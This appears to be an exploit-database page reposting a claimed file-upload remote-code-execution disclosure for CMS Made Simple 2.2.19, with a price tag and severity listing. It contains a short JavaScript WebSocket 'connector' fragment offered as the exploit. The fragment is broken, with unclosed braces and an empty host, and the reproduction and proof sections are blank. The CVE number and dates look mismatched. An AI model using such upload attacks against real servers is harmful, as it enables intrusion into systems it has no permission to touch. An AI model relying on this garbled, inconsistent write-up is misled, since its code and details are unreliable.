cmsms-2.2.19 - File Upload - RCE

CVE Category Price Severity
CVE-2019-11126 CWE-434 $500 High
Author Risk Exploitation Type Date
Unknown Critical Remote 2024-01-01

CVSS vector description

Our sensors found this exploit at:

Below is a copy:

cmsms-2.2.19 - File Upload - RCE
## Title: cmsms-2.2.19 - File Upload - RCE
## Author: nu11secur1ty
## Date: 12/29/2023
## Vendor:
## Software:
## Reference:,

## Description:
The parameter "fileupload" in type ID is vulnerable to File Upload and RCE attacks, it is not sanitized correctly. The attacker can upload a virus directly on the server by using this web vulnerability, and then he can execute it, this can be the end of this server depending on the scenario! In this case, I just uploaded a [WebSocket] connector - exploit.html to connect the server with my machine, this is so nasty. I am a Penetration Tester, not a stupid cracker! Thank you all!

STATUS: HIGH- Vulnerability

[+]Exploit execution:

(() => {
  const ws = new WebSocket('ws://')
  ws.onopen = () => {
    console.log('ws opened on browser')
    ws.send('hello, you are connected with malicious software.')

  ws.onmessage = (message) => {
    console.log(`message received ${message}`)


## Reproduce:

## Proof and Exploit:

## Time spent:

System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at and
0day Exploit DataBase
home page:
                          nu11secur1ty <>

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